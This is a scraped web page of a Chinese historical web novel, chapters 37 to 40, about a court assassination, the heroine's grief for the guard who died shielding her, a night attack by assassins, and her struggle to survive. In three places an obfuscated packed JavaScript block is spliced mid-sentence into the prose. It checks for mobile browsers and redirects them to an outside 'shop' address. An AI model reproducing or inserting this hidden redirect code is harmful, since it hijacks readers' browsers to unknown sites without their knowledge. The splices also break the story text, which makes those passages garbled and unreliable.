混乱中，她仿佛看见父亲奋力试图“撕开”禁军的防守，嘴巴一张一合，不断在喊着“孩子”“我的孩子”；看见林肃停下几乎就要靠近“蓬莱仙山”的脚步，眼中全是惊愕；看见谢大人飞刀劈开身前的箭阵，不顾一切地向她奔来；看见李氏将高裕贞紧紧拥在怀中，躲在食案下。 还好，她们没事—— 咔哒咔哒咔哒...... 不待众人喘息，又一阵催命的齿轮声响起。瞬息间，第二轮箭阵倾然射出。 四下已无可遮挡之处，秦明月咬牙往弓弩的射程外跑去。人群涌动，胸口鲜血不断涌出，她根本来不及躲避。 箭雨飞至，她仿佛已能看见箭头上闪烁的夺命银光。 搏输了吗？好可惜。 “大小姐！” 预想中金属穿透皮肉的疼痛并未到来，一道黑色的身影突然飞至身前。李敖一只手揽住她的腰肢疾退，一只手挥舞着不知道从何处捡来的木枝，拼命劈开一波又一波箭矢。 二人艰难在箭雨中左右躲避。 “李敖，你别管我了，快走。”秦明月虚弱道。 入宫不能佩刀，箭矢撞击中，李敖手中的木枝已不堪重负，只剩半截。两人离最近的、能掩身的金柱至少还有五丈远，箭矢又太过密集，援兵一时冲不进来。再拖下去，谁也跑不掉。 可对方仿若置若罔闻。李敖深吸一口气，似是下定决心般，一把扔掉残存的木枝，迅速转身将她打横抱起，然后背对着太液池，加速往金柱方向跑去。 “抓紧我！”话音未落，箭矢没入皮肉的闷响自李敖背后传来，一丝闷哼控制不住地从他唇齿间溢出。 “李敖，你疯了！”“你放我下来！”“李敖！李敖！” 对方非但没有松手，反而用力将自己抱得更紧了。 最后三步、两步、一步，粗重的喘息声中，李敖几乎是扑倒在金柱之后，却仍努力抬起胳膊，不让手中的人跌落在地。 “李敖，你怎么样了？”秦明月挣扎着撑起身，想要看看他背后的伤口，可手臂抬到一半便无力地垂下。 满目血色，已分不清究竟是谁的。 恍惚中，她看见李敖艰难地扯了扯嘴角，“没事”。 李敖、李敖...... 意识逐渐模糊，眼皮不受控制地下坠，耳边传来熟悉的呼喊声与脚步声。 而后，终于沉入无边黑暗。 37. 心如死灰 水，全部都是水。 滔天巨浪自四面八方涌来，不断涌入进自己的耳朵、鼻子、嘴巴，充斥着胸腔。 眼前全是暗黑的蓝，求生的本能下，秦明月拼命挥舞着双臂，奋力拍打水面。呼出的“救命”被汹涌的冰水封堵在喉间，只剩破碎的呜咽。很快，连呜咽都快发不出了，她的胸腔仿佛被一只无形的大手用力捏住。 意识涣散间，有海藻如幽灵般在她周身游走，将她拖向无尽深渊...... 突然，一束光自头顶亮起，她的手猛地被拽住。 “大小姐，快跑！” 不等她看清面容，对方就拉着她，拼命往前跑去。 脚下的黄泥不知何时，变成了烧红的炭渣，每踩一步，几乎要将她的血肉焚尽。 可她停不下来，罡风吹过湿透的身体，冻地她浑身发抖；背后有火焰如恶鬼追逐，热浪全部扑涌向她的后颈。左右两侧也不再是飘荡的海藻，而是活的火焰！它们越长越高，越燃越近，几要将本就狭窄的路完全挤占。 呼哧、呼哧—— 鼻腔内全是灼热的焦味。 当火舌终于缠绕上两人交握的手掌，自己脚下的炭渣瞬间变成滚烫的岩浆。 “李大人，我走不了。” “没事，别怕。”李敖笑着转过身，朝她伸出另一只手掌，秦明月刚要握上对方指尖，一座遮天蔽日的“火焰山”瞬间自他背后拔地而起。 不、不！那红色的、一股一股的，不是火焰，是血！ 李敖身上突然生出许多孔洞，火光自孔洞间穿过他的身体，一股股鲜血不断涌出。 李敖！ 秦明月大喊一声，猛地睁开眼睛。 “月儿，你终于醒了！”耳边有熟悉的声音响起。 见她失神，秦洪业赶紧站起身，“太医、太医！” 眼看父亲就要往外跑去，她一把拉住对方衣袖，“爹。李敖、他怎么样了？” 剧烈的动作牵扯到伤口，秦明月忍不住闷哼一声。 “千万别动，小心伤口挣开。”秦洪业伸手就要扶她躺下。 可秦明月却纹丝不动，固执地盯着他，“李敖呢？” 回应她的，只有父亲躲闪的眼神和沉默。 “我问，李敖呢？”她一字一顿追问。 “月儿，你不要太激动……” “他在哪儿？” 僵持片刻，秦洪业终是隐瞒不过，缓缓开口：“杀手在箭头上涂了毒，他中箭太多......” 有血腥味在口腔内蔓延，秦明月呆愣半晌，“爹，你骗我是不是？李敖武功那么好，一定是你把他藏起来了对不对？你告诉我啊。”尾音已染上哭腔。 “月儿，你冷静一点。” “我不信。他明明说过不会有下次的，上次从祁阳回来，他还说要教我武功，他从来不会食言，他还说过……” 秦明月用力抱住左手上的镯子，任由滚烫的泪水肆意流淌。 李敖、李敖...... 他那样好的人。 “是我！是我害死他的啊！” 耳间一阵嗡鸣，秦明月死死按住胸口，不断有鲜血洇出。喉间恍若压着沉重的巨石，连哭声都被剥夺。 泪眼朦胧间，窒息感萦绕，仿佛一层透明的薄膜将她死死包裹，她听不见、看不见，渐渐不能呼吸。 “月儿、月儿。”眼前人影憧憧，无数张嘴巴一张一合。 脖颈后猛地传来一阵钝痛，她整个人再次陷入黑暗。 再醒来时，太医署药香弥漫。 秦明月睁眼便见谢长龄坐在床边，肩膀处缠着一圈白色绷带，眼下带着青影。 “你醒了？”见秦明月一脸漠然地看着自己，谢长龄放下手中的书卷，“朝中还是顶着压力将盐引新政推下去了，秦大人是户部主官……” 不等对方说完，秦明月闭上眼，默默转过头。 盐引新政…… 若不是为了自己，父亲便不会急于在这个时候将盐引新政推上台面，圣上不在灯楼颁布新政，也许就不会引来刺杀，李敖也不会为了救自己而死，都是因为自己，如果没有自己，这些事就都不会发生。 冰冷的被面下，指甲用力嵌进掌心。 “你不必太过自责。”背后传来一声极轻的叹息，“销钱为器一案后，盐引改革本就势在必行，有心之人早就盯上秦家了。” “而且你昏迷的这几日，整个京中风声鹤唳。即便是到现在，皇宫也未解禁，禁军六所牢牢把着宫城四门、禁门七道还有所有掖门与角楼，大理寺、刑部、京兆府亦都在全力追查，相信很快就会有眉目了。” 太医署内，一片死寂，静到连呼吸声仿佛都听不见。 不知为何，谢长龄的脑中突然出现一个词——心如死灰。 那个一直跟在她身后的侍卫，对她这么重要吗？ “你想不想再看看他？”良久，谢长龄轻声开口问道。 看着对方转过头，眼中终于泛起一丝波澜，谢长龄心中酸涩，“我可以私下带你去灯楼。案发后，那里为了查案，还保持着原样，不幸罹难之人也都暂时停放在那。” 说完，他又从药炉上倒出一碗药汁，递上前，“不过，去之前，你得先把这个喝了。定风止痛散，一剂下去，止血镇痛，可以管一个时辰。” 秦明月不说话，也不接过药碗，保持着原本的姿势。 “从这里到灯楼最起码一炷香的距离，我们时间有限且需掩人耳目。要么我抱着你，要么你喝下去，自己走。” 闻言，秦明月接过药汁一饮而尽。 —————————— 到达灯楼时，谢长龄先行支开看守之人，秦明月站在门口沉默良久，深吸一口气走了进去。 入目之处，皆是疮痍。 中秋那夜金碧辉煌的灯楼，此时一片残败。 地面上，全是倾倒碎裂的食案桌椅、琼玉碗碟，千金寸缕的纱幔如被风雨打烂的蜘蛛网，随风飘摇。以高台为中心，密密麻麻散落着箭羽。 穿过残垣断壁的前厅，二人走到波及较少的后堂。 十余具尸体整整齐齐排放在地。 谢长龄在前，秦明月在后，在一具尸体前站定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192550|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “此次刺杀中牺牲的禁军、侍卫都暂时停放在这，等事情解决了，朝廷会给他们一个交代的。” 秦明月仿佛没有听见，许久开口问出今日第一句话：“他会冷吗？” 无人回应，谢长龄的影子安静垂在她背后，只有太液池内月亮的倒影，随着时间一分一秒缓缓移动。 不知过了多久。 “回去吧，该到你换药的时候了。” “好。”一件绣有莲枝的披风轻轻盖到眼前白布之上，“走吧。” 秦明月闭上双眼，头也不回地往外走去。 惨白的月光照耀着一前一后两个人影。 “那夜推你之人，我会……” “不用。京兆府秉公查案即可。另外，除了需要我配合询问，谢大人也不必再来了。” 太医署外，秦明月冰冷地回绝，徒留谢长龄一人，独自走向那座满是苦涩气息的殿宇。 定风止痛散的药效大概快要过去了，胸口的伤口开始隐隐作痛，她无力地靠在病榻上。 时至今日，她再如何迟钝，也该明白对方的心意了。就算没有父亲提醒，那夜他不顾一切奔向自己的样子，决绝的让她心惊，她甚至不怀疑，若是那日对方站在李敖的位置，今日躺在灯楼的，也许就是他。 又或者还有下一个灯楼。 “秦小姐。”屏风后，突然响起一道女声。 秦明月冷漠地看向黑影深处，心中了然。 “问大长公主安，恕明月失礼，不便动作。” 有侍女小心地将两人之间的遮挡物移开。 “无妨，秦小姐身负救驾大功，便是陛下来了，也是要以礼相待的。”对方丝毫没有被冒犯的样子，笑得无比和煦，“更何况，秦小姐伤口的箭还是我公主府的女医处理的。伤口如何，没有人比我更清楚了。” 这话是什么意思？秦明月微微簇起眉头。 对方恍若未觉，自顾自继续开口说道，“秦小姐真真是我见过的女子中最特别的，连中的箭都与众不同。” “公主有话不妨直说。”受够了慢慢兜圈子，秦明月直白道。 刚刚移动屏风的侍女再度上前，递来一支断箭。 “正常的弩箭，箭头呈三棱式，可从你体内拔出的这一支——”话音戛然而止。 秦明月慢慢转动手中还染着血的箭羽，眉头越凝越紧。这只弩箭的箭头整体却呈莲花式，仔细观察，还能看到每片莲刃都由极其精妙的卡榫连接，显然是进入人体后才彻底“炸开”。这种设计，比普通箭头杀伤力更大。 “这么重要的线索，公主为何要给我，难道不是交给大理寺更合适？” “与我无关，自然要明哲保身。”对方夸张地搓了搓胳膊，“本宫不似陛下洪福齐天，有人舍身相互，本宫可太怕被连累了。” “就如同——秦小姐狠心拒绝小谢大人，怕连累他一样。” 闻言，秦明月也不否认，冷冷抬起眼，“公主既然都看见了，还要交给我？” “物归苦主罢了，至于接下来要怎么做——”对方转过身，往外走去，“那是秦县主自己的因果。” 38. 斩草除根 次日一早，果然如平阳公主前一日临走前暗示的一般，圣旨径直送到了太医署。 为褒奖秦明月在中秋宴上舍身护驾的英勇之举，圣上御笔亲封她为“英宁县主”，食邑三百户，并恩准移居枕麓轩养伤，直至身体痊愈。 秦明月毕恭毕敬地跪接了下来，心中却无半点波澜。 等宣旨的内侍一走，那明黄的卷轴便如同烫手的山芋般被远远掷开。 冰冷的日光透过朱红高墙，在她身前投下一小片光晕，秦明月跌坐地，恍若匍匐在光明前忏悔的罪人。 脑海中，灯楼里那具孤零零的尸体和最后李敖艰难安慰自己“没事”的模样反复交织，针刺般的疼痛自太阳穴处不断扩散。 为什么死的不是自己，为什么自己还要踩踏着李敖的血肉挣这份“功劳”…… 握着莲刃箭矢的手渐渐收紧，可她却仿佛感觉不到痛意，任由利刃慢慢刺入手掌。 “县主！” 不知过了多久，身后突然传来医女惊呼，秦明月这才如梦初醒般，不着声色地将箭矢收回袖中。 她抬眼打量眼前仿佛自己命不久矣，紧张将她搀回病榻的青衣医女，半晌开口道：“还要感谢医女的救命之恩。” “奴婢学艺不精，不敢贪功，只负责后续县主伤口护理、身体调养一事，”对方口中说着，手下包扎动作却极稳，“那日县主伤势极重，中箭角度刁钻，女医令不凑巧随太后去了皇陵，还是大长公主府的立耘姑姑取的箭。” 秦明月低低“嗯”了一声，难怪…… 想起昨夜，平阳公主的到访，她的眉头拧得更紧了。 自己不是不知道平阳另有所图。从中秋宴前在书院为她“撑腰”，到以添色为由让她差点沦为“棋子”的金簪华服。 她看得出来，对方不过是把自己当作达成目的的工具。而昨夜她那句“明哲保身”，也不过是个处处是漏洞的借口。 真正的目的，是她想让自己冲锋陷阵，去和这个幕后黑手斗，至于她能从其中得到什么，自己不得而知，也暂时不想深究。 就算这是个人尽皆知的阳谋，自己也别无选择，不是吗？ 说什么以德报怨，即便不做这道门弟子，她也一定是要为李敖报仇的。 想到这，秦明月轻轻“嘶”了一声。 “县主恕罪，可是奴婢下手失了分寸？” “无妨，大约是麻沸散药效快要过了，”秦明月轻轻倒吸一口气，“不怪你，我确实较旁人怕痛些。” “那我给县主再取些药散来。” 见对方起身就要往药庐处走去，秦明月赶忙叫住她：“这个东西要以酒冲服，我听闻短时间内不宜多用，还是再等等吧。你们最晚何时巡诊？我现在尚可忍受，届时给我寻一剂，服了安稳入睡即可。” 青衣医女脚步一顿，重新蹲下身处理手中的伤口：“酉时。” 闻言，秦明月点点头。 “不过，就算下值，太医署也会有一名医官并几名药童值守，虽与县主养伤的枕麓轩隔了一道宫门，但县主若是有任何不适，都可遣人来寻。” “多谢提醒。” 忙完这些，待宫人将秦明月及她的东西一并送至枕麓轩，她便一头栽进了床榻。 午间，李氏带着秦兰意、秦梅风姐妹前来探望时，也只在门口远远看到床笫间一个起伏的身影。 大约是担心她因李敖之死心情郁结，秦兰意趁秦梅风同母亲打岔的间歇，悄咪咪将一打手稿压在妆台里侧，才一步三回头地离去了。 一阵风吹过，连绵地掀开纸页，赫然是一册猫咪生活录。 这一觉，秦明月睡得半昧半醒，她知道其间医女来过两回，也听到了李氏同梅兰两姐妹的声音，可她却没有睁眼，只保持一个姿势安静地躺着。 等酉时最后一次巡诊结束才坐起身，立即有侍女端来散发着酒味的麻沸散，秦明月示意她放下出去后，便有条不紊地收拾起来。 “秦姑娘，这是打算去哪里？”是林肃。 不说几大衙门将皇宫围得如铁桶一般，此时已是落钥的时候，他如何能进来的？ 秦明月神色如常，低头穿好鞋子：“整日躺着不利于恢复，想下床走走罢了。” “太阳都已落山了，外头露重，若真想锻炼，还是白日里寻个日头好些的时候吧。” 秦明月不答话，殿内只剩踢踢踏踏地来回走动声。 林肃见状也不恼，语气中竟一反常态地带着些无可奈何的意味：“我来宫中一趟不易。只是想到你若要为那位名叫李敖的侍卫报仇，怕是又要做一回‘孤胆’英雄，还是来了。” “多谢林公子挂心，不过还是不必了。”秦明月语气冷淡。 “这宫中的水深得很，你一人如何能——” “林公子是我何人？”秦明月突然停下脚步，抬眸看他，“与我有何交情，凭何同我说这些话？再者，你既知这宫中水深，我又岂会不知？你凭什么觉得我会为了一个侍卫，拿我秦家上下几百口人的性命去冒险？还是在林公子眼中，我便是如此不识大体之人。” “我不是这个意思……” “那你是什么意思？”秦明月机械地牵动嘴角，声音凉了下来，“还是如同我父亲猜测的那般，你对我有意？” 理智有一瞬间空白，林肃一怔，还没来得及开口。 便听那道冷冷的声音再度传来：“若果真如此，秦明月在此谢过公子错爱。只是——一来我长于道门，暂无意于此；二来，士农工商，即便不提这个，想来家中也不会应允。” 枕麓轩内一片寂静。 林肃怔愣一瞬后，面上重新挂起放荡不羁的笑。看着少女手指连点两下的明黄卷轴，语气中的讽意却怎么也掩饰不住，“还请英宁县主放心，林某绝不敢辱没县主英名。” 说完，从袖中取出几页纸笺，随手扔在妆台上，便拱手退了出去。 秋夜的大殿内，已经燃起了博山炉，有苏合的香气隐隐晕染，却怎么也驱不散寒意。 寒风乍然吹过，只余妆台上一里一外两沓纸笺簌簌作响。 秦明月缓缓坐回妆台前，犹豫片刻，伸手取出内侧的手稿翻阅起来…… 一炷香后，她将一沓纸笺尽数投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215123|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入博山炉中，旋即将桌上早已冷却的清酒一饮而尽。 ———————————— 太液池边，运载着仙山的硕大船只已被运载上岸，大约是因为体积过于庞大，整体并未被运送至大理寺或其他地方保存查验。 趁着侍卫换防的空档，一个纤弱的黑影悄悄闪身而上。 山体的琉璃山壁因那日的动乱，已大多碎裂在船甲之上，即便还在镶嵌其中的，也如蜘蛛网般炸开。唯有精铜铸造的骨架，还光秃秃立在原处。 秦明月视线自上而下扫过，最后定格在那个要了无数人性命的月相装置之上。 此时的月相装置已完全倒置，原本作为正面的玉盘中间已全部碎裂，仅边缘处靠着一圈银丝固定，呈现一个巨大的、边缘层次不齐的孔洞，孔洞后方有月色自齿轮间若隐若现。 秦明月踮起脚尖，猫腰转至前侧。 被玉盘残骸挡住的夺命机关一下子跃入眼前，只见数十支缩小版的弓弩以众星捧月的姿态分裂齿轮一周，齿轮下方坠着长长一条履带，履带每隔一小段距离便镶有一处孔洞，孔洞末端，还有未用尽的弩箭。 若不是知道这装置要了多少人的性命，连秦明月都忍不住要感叹一句设计精妙。 可这么天才的设计，不是用来安邦定国、保家卫城的，而是用来争权夺利，要人性命的，秦明月面色讥讽地蹲下身检查起剩余的部分。 时间一分一秒过去，不一会，岸上突然传来一阵骚动。 “大家都警醒些，前面传了信儿，一会儿巢大人还要再查一回现场，可别犯了忌讳” “是。”齐刷刷的声音响起。 巢孝海？ 秦明月凝眉，握紧手中的一枚弩箭，重新隐没进黑暗中。 回到枕麓轩，她卸下腿上的沙袋，和脚上比平时大两码的鞋子，将灯移至床前。 香云纱糊的窗棱中，隐约倒映出一个挑灯夜读的身影，只是一沓猫咪图册中，两支截然不同的弩箭和一小缕顶端染着绿色的布条赫然陈列。 秦明月拿着明显不同的两支箭矢，仔细对比。 昨夜，平阳公主将断箭送回后，自己研究箭矢机关时，无意中在箭头内侧发现一小块绿色，以布条轻擦带出，竟是一块铜绿！ 铜绿产生少则数年，多则十余年，绝非一朝一夕可形成的，万千箭矢中，偏只有这一支莲刃箭矢，还是出产经年的，这究竟是巧合还是有人故意为之？ 看着手中形态、陈色明显不同的两支箭矢，秦明月陷入沉思。 喵呜—— 远处，突然传来一声野猫的叫声，这声音…… 秦明月及忙藏起两支弩箭，吹熄烛火。 几息后，一支烟管突然从床缝间探入，有迷烟自烟管内溢出。 秦明月屏息，将手腕处的镯子滑至前端，俯身躲至床侧的挂帘后。心中默念几数后，将手中的画稿轻撒下去。 纸笺纷飞落地，带来轻微的声响。 很快，寝殿的大门被从外推开，几个训练有素的黑衣人猫身冲了进来，手中的大刀在月光下闪烁着冰冷的银光。 39. 真要死了 为首之人举着刀缓缓逼近。雕花的拔步床上，秦明月在被褥间堆出一个起伏的形状，远远望去，仿佛女子沉睡的背影。 黑衣人猛地举起刀劈砍下去，刀锋接触被面的瞬间，预想中利刃刺穿血肉的感觉并未传来。 “不好！” 话音未落，身后传来同伴一声尖叫，伴随刀柄落地的“哐当”声，一个黑色的身影如游鱼般滑过。 秦明月再度屏息，藏身到碧纱橱后的烟纱之中。手镯边缘的薄刃上，有鲜血缓缓滴落。胸口传来撕裂的疼痛，她强忍着放缓呼吸，隐藏好身形。 “有轻微的药散味、体型纤瘦，一定就是那个臭/娘/们，”被挑断手筋的杀手喘着粗气，给同伴报信，“她用的，应该是一柄短小的薄刃。” 黑衣人低声交谈，一时无人动作。 秦明月环顾四周，眼睛死死锁定最靠近外门的那个杀手。 对方连受伤者在内共有五人，若一直在屋内作困兽斗，于自己而言绝不是明智之举。真枪实刀地搏杀，她绝不是对手。 思索片刻，她从怀中掏出那支从现场带回来的箭弩，用力朝屋内掷去。 哐当一声—— 黑衣人的注意力瞬间被吸引过去。 就是现在！秦明月握紧手镯，俯身迅速冲向落在最后的杀手。利刃划破对方的夜行衣，她直直冲向关着的门扉，眼见门被拉开一条小缝，只需再大一点，自己就能跑出去。 电光火石间，一柄大刀呼啸着飞过来，狠狠砸在门上，将门重新撞闭。 “她在那！老三抵住门，其余人列队向前，别让她跑了！”最先持刀劈砍床榻的黑衣人此时已反应过来，迅速指挥。 计划失败，无路可退。秦明月紧抿嘴唇，挥刀刺向离自己最近的“老三”，刚刚自己本想一刀解决他的“要害”，可惜高度预估错误，只划伤了对方的大腿，不过好在多少也限制了他的行动。 如今，已无路可退，只能拼死一搏。 刀尖刺中对方的一瞬间，对方也瞬间反应，一脚狠狠踹向她胸口。伴随着“哗啦啦”一阵桌椅木架倒塌的声响，她整个人倒飞出去，狠狠摔落在地。 一口鲜血喷涌而出，胸口的伤口已经完全崩开，疼得她的眼前一花，忍不住闷哼一声。 眼前的黑衣人已呈包围之势，向自己围拢过来，秦明月指尖颤抖着去够刚刚被震落在一侧的手镯。 枕麓轩再偏僻，也是在宫中。闹出这么大的动静，竟无人赶来，只能说明幕后之人早已安排好了一切。能量之大，与中秋夜那晚的刺杀何其相似。 或许，今日自己可能真的逃不掉了，秦明月苦笑。 不过，也好—— 李敖，若今日我能杀一人，便算替你报仇了；若能杀两人，我们就够本了。 少女擦擦嘴角的鲜血，艰难撑起身，胸口已猩红一片。 她随手捡起一只断落的椅腿，左手格挡，右手挥刃，冲上前去。 短刃不知割破了谁的皮肉，刺进谁的眼睛，黑暗中，眼前一片血雾。 双拳终究难敌四手，格挡的椅腿被节节砍断。很快，她便浑身浴血，力不从心地往后败退。 左手筋脉被彻底挑断，双腿被狠狠掼过，“咔嚓”一声响起，她脚下一个趔趄，应是腿骨断了，对方在刻意报复。 秦明月彻底摔倒在地，透过被鲜血遮挡的视线，努力辨认着人影。对方也似乎也厌倦了猫捉老鼠的游戏，冰冷的大刀高高扬起，没来由的，一阵熟悉感突然涌上心头。 秦明月绝望地闭上双眼。 李敖，我尽力了，只是可惜...... 哐当—— 生死时刻，门扉被用力踹开。一阵冷风裹挟着凛冽杀意席席卷。一身她熟悉的绯红官袍冲了进来，月色照进房内，映出来人冰冷的神色和决绝的剑意。 来不及细问，对方眼神迅速掠过她的面颊，持剑横挡在她身前。 黑衣人见状，互看一眼，旋即挥刀向前。剑意同刀光缠斗，巨大的实力差距下，黑衣人被一个个挑翻，终是落于下风。 秦明月刚想稍稍松口气，眼尾突然一道银光闪过，那个“死去”的老三突然爬起来，拿着大刀朝前劈砍而去，可来人还在和最后一个黑衣人打斗！ “谢大人！” 情急之间，秦明月不知道哪里来的力气，拖着被砸断的两条腿，猛地冲向前，闪身挡到对方身后。 谢长龄一剑结果眼前之人，转身就见少女浑身是血的撞入自己怀中，冰冷的大刀刺入她的身体，然后不受控制地一寸寸下滑。 血气猛地上涌，他只觉呼吸都急促起来。 “明月！”谢长龄一剑斩杀刺客，快速揽住少女的肩膀。目之所及，除了原本被箭矢刺穿的伤口，她腹部又多了一个血洞，正汩汩往外流着鲜血。 他慌乱地扯下一片衣角，按在伤处，却怎么也止不住奔涌的血液。 “没事的、没事的，我带你去找太医。”谢长龄将她打横抱起，声音里满是颤抖。 慌乱的脚步在宫道上响起。秦明月像一具破布娃娃般靠在男人剧烈起伏的胸膛上，鲜血顺着衣角一滴一滴坠落。喘息间，她仿佛能听到对方胸腔里急促的心跳。 “谢大人，我是不是快死了。” “不会的，我不会让你死的。”谢长龄斩钉截铁，脚步不停，一滴眼泪随风滴落到她半垂的眼皮上，滚烫而又炽烈。 “好。”秦明月低低应了一声，呓语般继续呢喃，“谢大人，你刚刚冲进来的一瞬，我以为场景又要重演了。不过还好，这一次，你没事。我好怕，真的好怕，如果连你也出事，那我可能真的......可是，你怎么就这么不听劝呢？我都让你离我远远的了，离我远一点，就不会有危险了。” 声音渐渐微弱，大量失血下，秦明月整个人陷入迟钝，身体止不住地发抖。 “秦明月，因为我喜欢你，”咸涩的眼泪滑落口中，他一字一顿，重新将她搂在怀中，似要驱散她身体的寒意，“所以我不仅不会离你远远的，还要缠着你。你别想轻易就摆脱我，更别想死遁。” 果然...... 秦明月苦涩一笑，“好，我不摆脱你。” 说完，颤抖着从怀中摸出那支莲刃箭矢。动作牵扯下，一口鲜血自口中呛出。 “这是中秋宴刺杀中，射中我的那支箭矢。箭头内侧有铜绿，”她艰难地喘息着，努力咽下喉咙涌起的血泡，将东西放入对方前襟，“谢大人、谢大人......” 极度的困倦涌来，秦明月只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226936|194716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉眼皮像灌了铅一样，沉沉下坠。耳边传来急切的呼喊，道路尽头隐约有火光晃动。秦明月仿佛漂浮在空中，俯视着自己正在流血的身体，听觉越来越远，最终陷入一片死寂。 这一次，秦明月睡得极沉。 睡梦中不再有深渊、不再有火光，只有无边的黑暗。 ———————————— “这都半个月了，那位县主还没有醒吗？” “没呢，听太医署的小夏子说，几回都险些撑不住，愣是给拉了回来。现在太医署都快空了，全候在秦府呢。” “说到秦府，听说秦大人差点血溅懋勤殿，直言不信宫中安防，拼着顶撞陛下，也要将秦小姐带回府中。” “哎，求求这位县主赶紧醒吧，这日子什么时候是个头啊，”粉衣小宫女手中的扫把重重扫过路面，“她不醒，宫里也快翻天了。三天两头地拿人，就连丽妃娘娘长春宫里的大姑姑，前天也被拉到了慎刑司，也不知道还能不能囫囵个儿出来。” “若是醒不了......” “还不快闭嘴。”一个巴掌重重落到她头上，“贵人的事也是你能多嘴的，别怪我没提醒，做好自己分内之事，不该打听的别打听。哪天火烧到自己头上来，你们可没有千年的人参、灵芝仙草吊命！” “姑姑教训的是。”闻言，几个小宫女赶忙一揖，作鸟兽散了。 此时的秦府大宅外，三步一岗、五步一哨，由高明带队的武卫营禁军，将整个秦府围得如铁桶一般。 太医署交班的隋老太医正打开医箱，任由这帮冷面“屠夫”翻检用具。 片刻后，高明朝隋老太医恭恭敬敬行了个请的手势。隋老太医白了他一眼，重重哼了一声，方才随人抬步往府中走去。 秦府内，一片愁云惨雾。 还未走近，便能闻道一股股苦涩的药味。望舒阁的门口，一顶行军时才用的营帐扎在那里，顾家的几位小子都胡子拉碴地坐在营帐前，见他走来都忙站起身，目光灼灼。 隋老太医仿佛没看见，目不斜视地往院中走去。 不是他拿乔，而是实在有苦难言。这几日，他除了要给这位县主看病，便是要面对无穷无尽的盘问，圣上、大长公主、谢长龄，还有顾家的、卢家的、高家的......连自己老妻处也不知被谁走了路子，床榻上都不得安宁。 若是真有什么好转便也罢了。可这为县主受伤极重，心脉破损，别说半条腿了，大半截身子都已踏进鬼门关，能撑到今日，已是天材地宝吊着命，实在不知能活到几时。叫他如何同这些殷殷期盼的人说明。 开完一张方子，望着身后短短几日鬓发几乎全白的老友，他终是忍不住开口。 “仲远，你得有个准备……” 话未说尽，便被对方开口打断。再抬头，已有送客之意。 隋太医只能无奈地摇摇头，转身离去。 冷风裹着水汽吹过，天空又下起淅淅沥沥的小雨，这已是秦明月昏迷以来，第四场雨了。 秦洪业闭起眼睛，深吸一口气，重新唤人端过一盆热水，想要替女儿擦拭冰凉的手掌。 “秦大人。”许久之后，身后突然传来熟悉的声音。 秦洪业猛地转头，看向来人，“你们怎么来了？” 40. 同生共死 来人一男一女，正是数月前，由秦明月同谢长龄设计“死遁”的陶潜陶大夫和归晚意。 陶大夫脸上戴着一张陌生的人皮面具，若非身旁还跟着作老妪打扮的归晚意，任是谁也难以认出。 “我们无意间听京中来往的客商提及宫里出了事，还连累秦姑娘命悬一线，便日夜兼程赶回来了。”陶潜解开行囊，轻轻推了推侄女的肩，示意她上前。 “那你们路上......” “都留意着呢。”对方指了指面具，“况且秦姑娘于我们归家有再造之恩，便是冒着杀头的风险，我们也绝不能袖手旁观。” 一旁的归晚意已走上前去，将一方小巧的脉枕垫到秦明月腕下。榻上少女虽静静躺着，面色却苍白得近乎透明，透出一层不正常的蜡黄；嘴唇干裂，却泛着诡异的红色，这明显是严重失血后又以大补药材强行续命的症状。 陶潜迅速与归晚意交换了一个眼神，随即朝秦洪业一揖，“秦大人，归家世代行医，医术虽不敢说登峰造极，但确有一些独到之法，不知能否容我一试？” 秦洪业连忙将人扶起，眼角有泪光闪烁。 半个月了，月儿不仅未曾苏醒，闭气的频率反而越来越高。他如何能不明白隋老太医的意思，可他怎么舍得，这是他日思夜想盼了十几年的女儿啊！ 莫说正经医家，今日便是旁门左道，他也认了。 得到他的应允，陶潜就着刚刚端进来的热水净了净手，稳步走至床畔。他先是翻看少女的眼睑，随即闭眼将右手手指轻轻搭在对方的脉搏处。 屋内一时落针可闻，除了还在以左手规律敲击床沿的陶大夫，屋内其余连一丝声音也无。 连端着换洗衣物想要掀帘而入的李氏母女，也屏息站在门口，生怕惊扰了大夫诊断。 约莫半盏茶过后，陶潜紧皱的眉头缓缓松开，重新睁眼，站起身来。 “臧大夫，”秦洪业已然看到了门口的妻女，暗示着看向对方，“月儿她——如何？” 陶潜看着门口的人影心领神会，旋即重重叹了口气，缓缓摇头。 秦洪业只觉眼前一黑，脚下踉跄，幸而被赶上前来的李氏从后扶住。 “秦大人，”陶潜声音低缓，“心脉可补，气血难生。秦小姐失血过多，气血衰微，伤口便难以恢复；伤口不愈，这气血便永无养足之日，这是个死局。” ...... 